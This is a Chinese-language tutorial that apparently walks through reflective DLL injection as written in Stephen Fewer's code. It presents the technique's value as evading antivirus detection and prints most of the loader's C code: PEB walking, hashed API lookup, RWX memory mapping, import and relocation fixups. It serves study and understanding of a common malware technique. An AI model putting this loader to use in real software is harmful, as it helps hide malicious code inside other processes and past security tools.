(源码作者:(HarmanySecurity)Stephen Fewer)
0x01 反射Dll注入的优点
1.反射Dll注入的主要优点是它没有以主机系统的任何方式(例如LoadLibrary和LoadLibraryEx)进行注册,因此在系统和进程级别上基本上都是不可检测的,并且反射DLL注入写入了较少的的shellcode,进一步降低被检测到的可能性。
1.在远程开发中使用反射DLL注入时,注入到宿主进程的Dll难以被反病毒的文件扫描器检测到,因为它从不会接触到磁盘,直接从内存中写入加载到宿主进程。
0x02 注入过程(原理)
反射Dll注入的过程分两大步,首先反射Dll注入将Dll从内存加载到宿主进程中。然后Dll将通过实现一个自实现的文件加载器程序来加载它自己(例如解析其导入表以及移到内存中的适当位置的重定位表修正),以满足dll的运行期望。然后,它就可以在宿主进程中,嗯,“参与”到宿主进程的“活动”中。
流程:
1.先将Dll映像文件(原始PE文件)写入到宿主进程空间当中
2.reflectiveloader将首先计算imagede 的当前位置,以便后续加载自己。
3.在宿主进程中查询Kernel32动态库,计算出三个函数的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc。
4.reflectiveloader继续分配的内存中的连续区域,用于加载Dll.
5.reflectiveloader将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域。
6.reflectiveloader修正Dll中的导入表
7.reflectiveloader修正Dll中的重定位表
8.reflectiveloader加载工作完成后调用DLL入口点
0x03 加载Dll文件的reflectiveloader的关键流程具体实现
(1)查询Kernel32动态库,计算出三个函数的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc:
首先要获取PEB:
#ifdef _WIN64 Peb = (PPEB)__readgsqword(0x60); #else #ifdef _WIN32 Peb = (PPEB)__readfsdword(0x30); #else #endif #endif
再通过PEB得到Kernel32动态库的地址,先看PEB的结构:
看到0x18偏移处的成员PEB_LDR_DATA:
其中的三个LIST_ENTRY链表,按照不同的顺序将当前进程加载的所有模块链接起来,遍历其中的任意一个LIST_ENTRY,都可以获得所有模块的基地址。
再看这个LDR_DATA_TABLE_ENTRY的结构:
通过PEB_LDR_DATA的和LDR_DATA_TABLE_ENTRY共有的三根链表,我们也能通过LDR_DATA_TABLE_ENTRY结构中的FULLDLLNAME成员得到模块名,用来确定kernel32模块,进一步得到模块基地址DllBase.
#define KERNEL32DLL_HASH 0x6A4ABC5B Ldr = (ULONG_PTR)Peb->Ldr; LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((PPEB_LDR_DATA)Ldr)->InMemoryOrderModuleList.Flink; while (LdrDataTableEntry) { ModuleName = (ULONG_PTR)LdrDataTableEntry->FullDllName.Buffer; //双字 ModuleNameLength = LdrDataTableEntry->FullDllName.Length; ModuleHashValue = 0; do { ModuleHashValue = ror((DWORD)ModuleHashValue); if (*((BYTE *)ModuleName) >= 'a') //转换为大写 ModuleHashValue += *((BYTE *)ModuleName) - 0x20; else ModuleHashValue += *((BYTE *)ModuleName); ModuleName++; } while (--ModuleNameLength); //在目标进程中查询Kernel32动态库 if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH) { //获得Kerner32.dll的模块地址 ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0]; //DllBase
得到kernel32的基地址后,再步步为营,得到NT头,数据目录表,导出表,从而在导出表中查找三个函数LoadLibraryA,GetProcAddress,VirtualAlloc的地址:
if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH) { //获得Kerner32.dll的模块地址 ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0]; //DllBase ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew); //有两个成员的结构体目录 ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; //导出表地址 ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress); AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames); AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals); NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames; IsLoop = 4; // loop while we still have imports to find while (IsLoop > 0&&NumberOfNames>0) { // compute the hash values for this function name HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames))); // if we have found a function we want we get its virtual address if (HashValue == LOADLIBRARYA_HASH || HashValue == GETPROCADDRESS_HASH || HashValue == VIRTUALALLOC_HASH || HashValue == EXITTHREAD_HSAH) { // get the VA for the array of addresses AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions); // use this functions name ordinal as an index into the array of name pointers AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD)); // store this functions VA if (HashValue == LOADLIBRARYA_HASH) LoadLibraryA = (REFLECTIVELOADER::LPFN_LOADLIBRARYA)(ModuleBase + DEREFERENCE_32(AddressOfFunctions)); else if (HashValue == GETPROCADDRESS_HASH) GetProcAddress = (REFLECTIVELOADER::LPFN_GETPROCADDRESS)(ModuleBase + DEREFERENCE_32(AddressOfFunctions)); else if (HashValue == VIRTUALALLOC_HASH) VirtualAlloc = (REFLECTIVELOADER::LPFN_VIRTUALALLOC)(ModuleBase + DEREFERENCE_32(AddressOfFunctions)); else if (HashValue == EXITTHREAD_HSAH) ExitThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + DEREFERENCE_32(AddressOfFunctions)); // decrement our counter IsLoop--; } // get the next exported function name AddressOfNames += sizeof(DWORD); // get the next exported function name ordinal AddressOfNameOrdinals += sizeof(WORD); NumberOfNames--; }
(2)继续分配的内存中的连续区域,用于加载Dll,将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域,内存粒度对齐各个节
// STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded ImageNtHeaders = (RemoteBufferData + ((PIMAGE_DOS_HEADER)RemoteBufferData)->e_lfanew); // allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. VirtualAddress = (ULONG_PTR)VirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // we must now copy over the headers SizeOfHeaders = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfHeaders; v1 = (BYTE*)RemoteBufferData; v2 = (BYTE*)VirtualAddress; while (SizeOfHeaders--) *(BYTE *)v2++ = *(BYTE *)v1++;
// uiValueA = the VA of the first section ULONG_PTR ImageSectionHeader = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader + ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.SizeOfOptionalHeader); // itterate through all sections, loading them into memory. NumberOfSections = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.NumberOfSections; while (NumberOfSections--) { // uiValueB is the VA for this section SectionVirtualAddress = (VirtualAddress + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->VirtualAddress); // uiValueC if the VA for this sections data SectionPointerToRawData = (RemoteBufferData + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->PointerToRawData); // copy the section over SizeOfRawData = ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->SizeOfRawData; while (SizeOfRawData--) *(BYTE *)SectionVirtualAddress++ = *(BYTE *)SectionPointerToRawData++; // get the VA of the next section ImageSectionHeader += sizeof(IMAGE_SECTION_HEADER); }
(3)修正Dll中的导入表
修改DLL的导入表,使这些被引入的函数能正常运行。
PE文件的引入表是一个元素为IMAGE_IMPORT_DESCRIPTOR的数组。每一个被依赖的DLL都对应着数组中的一个元素。
(导入表的解析请见:http://www.cnblogs.com/lsh123/p/7754347.html)
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; // we assume their is an import table to process // uiValueC is the first entry in the import table ImageImportDescriptor = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress); while (((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name) { // use LoadLibraryA to load the imported module into memory ModuleBase = (ULONG_PTR)LoadLibraryA( (LPCSTR)(VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name)); // uiValueD = VA of the OriginalFirstThunk OriginalFirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->OriginalFirstThunk); // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) FirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->FirstThunk); // itterate through all imported functions, importing by ordinal if no name present while (DEREFERENCE(FirstThunk)) { // 索引导入 if (OriginalFirstThunk && ((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // get the VA of the modules NT Header ImageNtHeaders = ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew; ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; // get the VA of the export directory ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress); // get the VA for the array of addresses AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions); // use the import ordinal (- export ordinal base) as an index into the array of addresses AddressOfFunctions += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->Base) * sizeof(DWORD)); // patch in the address for this imported function DEREFERENCE(FirstThunk) = (ModuleBase + DEREFERENCE_32(AddressOfFunctions)); } else { //修正名称导入的函数地址 // get the VA of this functions import by name struct ImageImportByName = (VirtualAddress + DEREFERENCE(OriginalFirstThunk)); // use GetProcAddress and patch in the address for this imported function DEREFERENCE(FirstThunk) = (ULONG_PTR)GetProcAddress((HMODULE)ModuleBase, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)ImageImportByName)->Name); } // get the next imported function FirstThunk += sizeof(ULONG_PTR); if (OriginalFirstThunk) OriginalFirstThunk += sizeof(ULONG_PTR); } // get the next import ImageImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR); }
(4)修正重定位表
数据目录表DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]指向的是重定位表(重定位表的解析请见:http://www.cnblogs.com/lsh123/p/7755187.html)
ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew; Diff = VirtualAddress - ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.ImageBase; //代表重定向表的目录 ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; // check if their are any relocations present if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size) { //定位到重定向表 ImageBaseRelocation = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress); // and we itterate through all entries... while (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock) { //重定向表中的word表 v3 = (VirtualAddress + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->VirtualAddress); // uiValueB = number of entries in this relocation block ImageBaseRelocationItemCount = (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_BASE_RELOCATION_ITEM); // uiValueD is now the first entry in the current relocation block ImageBaseRelocationItem = ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION); // we itterate through all the entries in the current block... while (ImageBaseRelocationItemCount--) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we dont use a switch statement to avoid the compiler building a jump table // which would not be very position independent! if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += Diff; else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += (DWORD)Diff; else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGH) *(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += HIWORD(Diff); else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_LOW) *(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += LOWORD(Diff); // get the next entry in the current relocation block ImageBaseRelocationItem += sizeof(IMAGE_BASE_RELOCATION_ITEM); } // get the next entry in the relocation directory ImageBaseRelocation = ImageBaseRelocation + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock; } }